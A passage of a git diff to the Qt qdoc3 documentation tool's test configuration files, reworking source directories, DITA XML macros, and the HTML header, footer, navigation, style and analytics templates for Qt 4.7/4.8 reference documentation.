-qhp.Qt.subprojects.classes.title = Classes
-qhp.Qt.subprojects.classes.indexTitle = All Classes
-qhp.Qt.subprojects.classes.selectors = class fake:headerfile
-qhp.Qt.subprojects.classes.sortPages = true
-qhp.Qt.subprojects.qmlelements.title = QML Elements
-qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements
-qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass
-qhp.Qt.subprojects.qmlelements.sortPages = true
-qhp.Qt.subprojects.overviews.title = Overviews
-qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
-qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
-qhp.Qt.subprojects.examples.title = Tutorials and Examples
-qhp.Qt.subprojects.examples.indexTitle = Qt Examples
-qhp.Qt.subprojects.examples.selectors = fake:example
-
-language = Cpp
-
-headerdirs = $QT_SOURCE_TREE/src \
- $QT_SOURCE_TREE/extensions/activeqt \
- $QT_SOURCE_TREE/tools/assistant/lib \
- $QT_SOURCE_TREE/tools/assistant/compat/lib \
- $QT_SOURCE_TREE/tools/designer/src/uitools \
- $QT_SOURCE_TREE/tools/designer/src/lib/extension \
- $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
- $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
- $QT_SOURCE_TREE/tools/qtestlib/src \
- $QT_SOURCE_TREE/tools/qdbus/src
-sourcedirs = $QT_SOURCE_TREE/src \
- $QT_SOURCE_TREE/doc/src \
- $QT_SOURCE_TREE/extensions/activeqt \
- $QT_SOURCE_TREE/tools/assistant/lib \
- $QT_SOURCE_TREE/tools/assistant/compat/lib \
- $QT_SOURCE_TREE/tools/designer/src/uitools \
- $QT_SOURCE_TREE/tools/designer/src/lib/extension \
- $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
- $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
- $QT_SOURCE_TREE/tools/qtestlib/src \
- $QT_SOURCE_TREE/tools/qdbus
-
-excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \
- $QT_SOURCE_TREE/src/3rdparty/des \
- $QT_SOURCE_TREE/src/3rdparty/freetype \
- $QT_SOURCE_TREE/src/3rdparty/harfbuzz \
- $QT_SOURCE_TREE/src/3rdparty/kdebase \
- $QT_SOURCE_TREE/src/3rdparty/libconninet \
- $QT_SOURCE_TREE/src/3rdparty/libjpeg \
- $QT_SOURCE_TREE/src/3rdparty/libmng \
- $QT_SOURCE_TREE/src/3rdparty/libpng \
- $QT_SOURCE_TREE/src/3rdparty/libtiff \
- $QT_SOURCE_TREE/src/3rdparty/md4 \
- $QT_SOURCE_TREE/src/3rdparty/md5 \
- $QT_SOURCE_TREE/src/3rdparty/patches \
- $QT_SOURCE_TREE/src/3rdparty/sha1 \
- $QT_SOURCE_TREE/src/3rdparty/sqlite \
- $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \
- $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \
- $QT_SOURCE_TREE/src/3rdparty/wintab \
- $QT_SOURCE_TREE/src/3rdparty/zlib \
- $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \
- $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \
- $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \
- $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \
- $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \
- $QT_SOURCE_TREE/doc/src/snippets \
- $QT_SOURCE_TREE/doc/src/ja_JP \
- $QT_SOURCE_TREE/doc/src/zh_CN
-
-sources.fileextensions = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
-examples.imageextensions = "*.png"
-
-exampledirs = $QT_SOURCE_TREE/doc/src \
- $QT_SOURCE_TREE/examples \
- $QT_SOURCE_TREE/examples/tutorials \
- $QT_SOURCE_TREE \
- $QT_SOURCE_TREE/qmake/examples \
- $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs = $QT_SOURCE_TREE/doc/src/images \
- $QT_SOURCE_TREE/examples \
- $QT_SOURCE_TREE/doc/src/declarative/pics \
- $QT_SOURCE_TREE/doc/src/template/images
-outputdir = $QT_BUILD_TREE/doc/html
-tagfile = $QT_BUILD_TREE/doc/html/qt.tags
-base = file:$QT_BUILD_TREE/doc/html
-
-HTML.generatemacrefs = "true"
diff --git a/tools/qdoc3/test/qt-cpp-ignore.qdocconf b/tools/qdoc3/test/qt-cpp-ignore.qdocconf
index 5d52a47..044eef4 100644
--- a/tools/qdoc3/test/qt-cpp-ignore.qdocconf
+++ b/tools/qdoc3/test/qt-cpp-ignore.qdocconf
@@ -71,8 +71,8 @@ Cpp.ignoretokens = QAXFACTORY_EXPORT \
QT_END_INCLUDE_NAMESPACE \
PHONON_EXPORT \
Q_DECLARATIVE_EXPORT \
- Q_GADGET \
- QWEBKIT_EXPORT \
+ Q_GADGET \
+ QWEBKIT_EXPORT \
Q_INVOKABLE
Cpp.ignoredirectives = Q_DECLARE_HANDLE \
Q_DECLARE_INTERFACE \
@@ -93,6 +93,6 @@ Cpp.ignoredirectives = Q_DECLARE_HANDLE \
K_DECLARE_PRIVATE \
PHONON_OBJECT \
PHONON_HEIR \
- Q_PRIVATE_PROPERTY \
- Q_DECLARE_PRIVATE_D \
- Q_CLASSINFO
+ Q_PRIVATE_PROPERTY \
+ Q_DECLARE_PRIVATE_D \
+ Q_CLASSINFO
diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf
index 51ee0d3..50a355f 100644
--- a/tools/qdoc3/test/qt-defines.qdocconf
+++ b/tools/qdoc3/test/qt-defines.qdocconf
@@ -3,60 +3,15 @@ defines = Q_QDOC \
QT_.*_LIB \
QT_COMPAT \
QT_KEYPAD_NAVIGATION \
- QT_NO_EGL \
+ QT_NO_EGL \
QT3_SUPPORT \
Q_WS_.* \
Q_OS_.* \
Q_BYTE_ORDER \
- QT_DEPRECATED \
+ QT_DEPRECATED \
Q_NO_USING_KEYWORD \
__cplusplus
versionsym = QT_VERSION_STR
codeindent = 1
-
-# Files not referenced in any qdoc file (last four needed by qtdemo)
-# See also qhp.Qt.extraFiles
-extraimages.HTML = qt-logo \
- trolltech-logo \
- bg_l.png \
- bg_l_blank.png \
- bg_ll_blank.png \
- bg_ul_blank.png \
- header_bg.png \
- bg_r.png \
- box_bg.png \
- breadcrumb.png \
- bullet_gt.png \
- bullet_dn.png \
- bullet_sq.png \
- bullet_up.png \
- arrow_down.png \
- feedbackground.png \
- horBar.png \
- page.png \
- page_bg.png \
- sprites-combined.png \
- spinner.gif \
- stylesheet-coffee-plastique.png \
- taskmenuextension-example.png \
- coloreditorfactoryimage.png \
- dynamiclayouts-example.png
-
-# This stuff is used by the new doc format.
-scriptdirs = $QT_SOURCE_TREE/doc/src/template/scripts
-styledirs = $QT_SOURCE_TREE/doc/src/template/style
-
-scripts.HTML = functions.js \
- narrow.js \
- superfish.js \
- jquery.js
-
-styles.HTML = style.css \
- narrow.css \
- superfish.css \
- superfish_skin.css \
- style_ie6.css \
- style_ie7.css \
- style_ie8.css
diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf
index 66f30e3..211bdb2 100644
--- a/tools/qdoc3/test/qt-ditaxml.qdocconf
+++ b/tools/qdoc3/test/qt-ditaxml.qdocconf
@@ -1,11 +1,49 @@
-include(qt.qdocconf)
+include(qt-project.qdocconf)
imagedirs = $QTDIR/doc/src/images \
$QTDIR/examples \
- $QTDIR/doc/src/template/images
+ $QTDIR/doc/src/declarative/pics \
+ $QTDIR/doc/src/template/images
outputdir = $QTDIR/doc/ditaxml
outputformats = DITAXML
generateindex = true
url = .
+macro.aacute.DITAXML = "&aacute;"
+macro.Aring.DITAXML = "&Aring;"
+macro.aring.DITAXML = "&aring;"
+macro.Auml.DITAXML = "&Auml;"
+macro.author = "\\bold{Author:}"
+macro.br.DITAXML = " "
+macro.BR.DITAXML = " "
+macro.copyright.DITAXML = "&copy;"
+macro.eacute.DITAXML = "&eacute;"
+macro.gui = "\\bold"
+macro.hr.DITAXML = " "
+macro.iacute.DITAXML = "&iacute;"
+macro.key = "\\bold"
+macro.menu = "\\bold"
+macro.note = "\\bold{Note:}"
+macro.oslash.DITAXML = "&oslash;"
+macro.ouml.DITAXML = "&ouml;"
+macro.QA = "\\e{Qt Assistant}"
+macro.QD = "\\e{Qt Designer}"
+macro.QL = "\\e{Qt Linguist}"
+macro.QQV = "\\e{Qt QML Viewer}"
+macro.param = "\\e"
+macro.raisedaster.DITAXML = "<sup>*</sup>"
+macro.rarrow.DITAXML = "&rarr;"
+macro.reg.DITAXML = "<sup>&reg;</sup>"
+macro.return = "Returns"
+macro.starslash = "\\c{*/}"
+macro.begincomment = "\\c{/*}"
+macro.endcomment = "\\c{*/}"
+macro.uuml.DITAXML = "&uuml;"
+macro.mdash.DITAXML = "&mdash;"
+
+macro.beginfloatleft.HTML = " "
+macro.beginfloatright.HTML = " "
+macro.endfloat.HTML = " "
+macro.clearfloat.HTML = " "
+macro.emptyspan.DITAXML = " "
diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf
new file mode 100644
index 0000000..d37ef5d
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf
@@ -0,0 +1,32 @@
+# Define the location of the templates to use. Style sheets and scripts are
+# specified relative to the template directory and will be copied into
+# subdirectories of the output directory.
+
+HTML.templatedir = $QT_SOURCE_TREE/doc/src/template
+
+HTML.stylesheets = style/offline.css
+
+HTML.scripts =
+
+# Files not referenced in any qdoc file (last four needed by qtdemo)
+# See also qhp.Qt.extraFiles
+extraimages.HTML = qt-logo.png \
+ arrow_down.png \
+ breadcrumb.png \
+ bullet_gt.png \
+ bullet_dn.png \
+ bullet_sq.png \
+ bullet_up.png \
+ horBar.png \
+ sprites-combined.png
+
+# Include the style sheets and scripts used.
+
+HTML.headerstyles = \
+ " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/offline.css\" />\n"
+
+HTML.headerscripts =
+
+HTML.endheader = \
+ "</head>\n" \
+ "<body>\n"
diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf
new file mode 100644
index 0000000..6db3491
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf
@@ -0,0 +1,72 @@
+# Define the location of the templates to use. Style sheets and scripts are
+# specified relative to the template directory and will be copied into
+# subdirectories of the output directory.
+
+HTML.templatedir = $QT_SOURCE_TREE/doc/src/template
+
+HTML.stylesheets = style/narrow.css \
+ style/style.css \
+ style/style_ie6.css \
+ style/style_ie7.css \
+ style/style_ie8.css \
+ style/superfish.css
+
+# Adding jquery and functions - providing online tools and search features
+HTML.scripts = scripts/functions.js \
+ scripts/narrow.js \
+ scripts/superfish.js \
+ scripts/jquery.js
+
+
+# Files not referenced in any qdoc file.
+# See also qhp.Qt.extraFiles
+extraimages.HTML = qt-logo.png \
+ bg_l.png \
+ bg_l_blank.png \
+ bg_ll_blank.png \
+ bg_ul_blank.png \
+ header_bg.png \
+ bg_r.png \
+ box_bg.png \
+ breadcrumb.png \
+ bullet_gt.png \
+ bullet_dn.png \
+ bullet_sq.png \
+ bullet_up.png \
+ arrow_down.png \
+ feedbackground.png \
+ horBar.png \
+ page.png \
+ page_bg.png \
+ sprites-combined.png \
+ spinner.gif
+
+# Include the style sheets and scripts used.
+
+HTML.headerstyles = \
+ " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n" \
+ " <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n" \
+ " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \
+ " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />\n" \
+ " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n" \
+ " <!--[if IE]>\n" \
+ "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n" \
+ "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n" \
+ "<![endif]-->\n" \
+ "<!--[if lt IE 7]>\n" \
+ "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n" \
+ "<![endif]-->\n" \
+ "<!--[if IE 7]>\n" \
+ "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n" \
+ "<![endif]-->\n" \
+ "<!--[if IE 8]>\n" \
+ "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n" \
+ "<![endif]-->\n\n"
+
+HTML.headerscripts = \
+ "<script src=\"scripts/superfish.js\" type=\"text/javascript\"></script>\n" \
+ "<script src=\"scripts/narrow.js\" type=\"text/javascript\"></script>\n\n"
+
+HTML.endheader = \
+ "</head>\n" \
+ "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n"
diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf
new file mode 100644
index 0000000..dc84e7d
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf
@@ -0,0 +1,232 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+ " <div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"content\"> \n" \
+ " <div id=\"nav-logo\">\n" \
+ " <a href=\"index.html\">Home</a></div>\n" \
+ " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+ " <div id=\"narrowsearch\"></div>\n" \
+ " <div id=\"nav-topright\">\n" \
+ " <ul>\n" \
+ " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+ " <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \
+ " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+ " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+ " DOC</a></li>\n" \
+ " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div id=\"shortCut\">\n" \
+ " <ul>\n" \
+ " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+ " <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \
+ " </a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \
+ " <li><a href=\"#\">API Lookup</a> \n" \
+ " <ul> \n" \
+ " <li><a href=\"classes.html\">Class index</a></li> \n" \
+ " <li><a href=\"functions.html\">Function index</a></li> \n" \
+ " <li><a href=\"modules.html\">Modules</a></li> \n" \
+ " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+ " <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \
+ " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Qt Topics</a> \n" \
+ " <ul> \n" \
+ " <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
+ " <li><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
+ " <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
+ " <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
+ " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+ " <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
+ " <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Examples</a> \n" \
+ " <ul> \n" \
+ " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+ " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+ " <li><a href=\"demos.html\">Demos</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrapper\">\n" \
+ " <div class=\"hd\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " <div class=\"bd group\">\n" \
+ " <div class=\"sidebar\">\n" \
+ " <div class=\"searchlabel\">\n" \
+ " Search index:</div>\n" \
+ " <div class=\"search\" id=\"sidebarsearch\">\n" \
+ " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+ " <div id=\"resultdialog\"> \n" \
+ " <a href=\"#\" id=\"resultclose\">Close</a> \n" \
+ " <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \
+ " <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span>&nbsp;results:</p> \n" \
+ " <ul id=\"resultlist\" class=\"all\"> \n" \
+ " </ul> \n" \
+ " </div> \n" \
+ " </fieldset>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div class=\"box first bottombar\" id=\"lookup\">\n" \
+ " <h2 title=\"API Lookup\"><span></span>\n" \
+ " API Lookup</h2>\n" \
+ " <div id=\"list001\" class=\"list\">\n" \
+ " <ul id=\"ul001\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box bottombar\" id=\"topics\">\n" \
+ " <h2 title=\"Qt Topics\"><span></span>\n" \
+ " Qt Topics</h2>\n" \
+ " <div id=\"list002\" class=\"list\">\n" \
+ " <ul id=\"ul002\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
+ " <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box\" id=\"examples\">\n" \
+ " <h2 title=\"Examples\"><span></span>\n" \
+ " Examples</h2>\n" \
+ " <div id=\"list003\" class=\"list\">\n" \
+ " <ul id=\"ul003\">\n" \
+ " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrap\">\n" \
+ " <div class=\"toolbar\">\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Breadcrumbs go here -->\n"
+
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div class=\"toolbuttons toolblock\">\n" \
+ " <ul>\n" \
+ " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+ " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+ " <span>Print</span></a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"content mainContent\">\n"
+
+HTML.footer = \
+ " <div class=\"feedback t_button\">\n" \
+ " [+] Documentation Feedback</div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2011 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ " </div>\n" \
+ " <div id=\"feedbackBox\">\n" \
+ " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+ " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+ " <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \
+ " requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \
+ " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \
+ " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div id=\"blurpage\">\n" \
+ " </div>\n" \
+ "\n" \
+ " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \
+ " <script type=\"text/javascript\">\n" \
+ " var _gaq = _gaq || [];\n" \
+ " _gaq.push(['_setAccount', 'UA-4457116-5']);\n" \
+ " _gaq.push(['_trackPageview']);\n" \
+ " (function() {\n" \
+ " var ga = document.createElement('script'); " \
+ "ga.type = 'text/javascript'; ga.async = true;\n" \
+ " ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + " \
+ "'.google-analytics.com/ga.js';\n" \
+ " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n" \
+ " })();\n" \
+ " </script>\n"
+
+
+# Files not referenced in any qdoc file.
+# See also extraimages.HTML
+qhp.Qt.extraFiles = index.html \
+ images/bg_l.png \
+ images/bg_l_blank.png \
+ images/bg_ll_blank.png \
+ images/bg_ul_blank.png \
+ images/header_bg.png \
+ images/bg_r.png \
+ images/box_bg.png \
+ images/breadcrumb.png \
+ images/bullet_gt.png \
+ images/bullet_dn.png \
+ images/bullet_sq.png \
+ images/bullet_up.png \
+ images/arrow_down.png \
+ images/feedbackground.png \
+ images/horBar.png \
+ images/page.png \
+ images/page_bg.png \
+ images/sprites-combined.png \
+ images/spinner.gif \
+ scripts/functions.js \
+ scripts/jquery.js \
+ scripts/narrow.js \
+ scripts/superfish.js \
+ style/narrow.css \
+ style/superfish.css \
+ style/style_ie6.css \
+ style/style_ie7.css \
+ style/style_ie8.css \
+ style/style.css
diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf
index f5ca03d..6f756da 100644
--- a/tools/qdoc3/test/qt-html-templates.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates.qdocconf
@@ -1,186 +1,54 @@
-HTML.stylesheets = style/style.css \
- style/OfflineStyle.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style_ie6.css
+include(qt-html-default-styles.qdocconf)
-HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \
- " <div class=\"content\"> \n" \
- " <div id=\"nav-logo\">\n" \
- " <a href=\"index.html\">Home</a></div>\n" \
- " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
- " <div id=\"narrowsearch\"></div>\n" \
- " <div id=\"nav-topright\">\n" \
- " <ul>\n" \
- " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
- " <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \
- " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
- " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
- " DOC</a></li>\n" \
- " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <div id=\"shortCut\">\n" \
- " <ul>\n" \
- " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
- " <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \
- " </a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \
- " <li><a href=\"#\">API Lookup</a> \n" \
- " <ul> \n" \
- " <li><a href=\"classes.html\">Class index</a></li> \n" \
- " <li><a href=\"functions.html\">Function index</a></li> \n" \
- " <li><a href=\"modules.html\">Modules</a></li> \n" \
- " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
- " <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \
- " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Qt Topics</a> \n" \
- " <ul> \n" \
- " <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
- " <li><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
- " <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
- " <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
- " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
- " <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
- " <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Examples</a> \n" \
- " <ul> \n" \
- " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
- " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
- " <li><a href=\"demos.html\">Demos</a></li> \n" \
- " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrapper\">\n" \
- " <div class=\"hd\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " <div class=\"bd group\">\n" \
- " <div class=\"sidebar\">\n" \
- " <div class=\"searchlabel\">\n" \
- " Search index:</div>\n" \
- " <div class=\"search\" id=\"sidebarsearch\">\n" \
- " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
- " <fieldset>\n" \
- " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
- " <div id=\"resultdialog\"> \n" \
- " <a href=\"#\" id=\"resultclose\">Close</a> \n" \
- "<!-- <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \
- " <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span>&nbsp;results:</p> --> \n" \
- " <ul id=\"resultlist\" class=\"all\"> \n" \
- " </ul> \n" \
- " </div> \n" \
- " </fieldset>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div class=\"box first bottombar\" id=\"lookup\">\n" \
- " <h2 title=\"API Lookup\"><span></span>\n" \
- " API Lookup</h2>\n" \
- " <div id=\"list001\" class=\"list\">\n" \
- " <ul id=\"ul001\" >\n" \
- " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
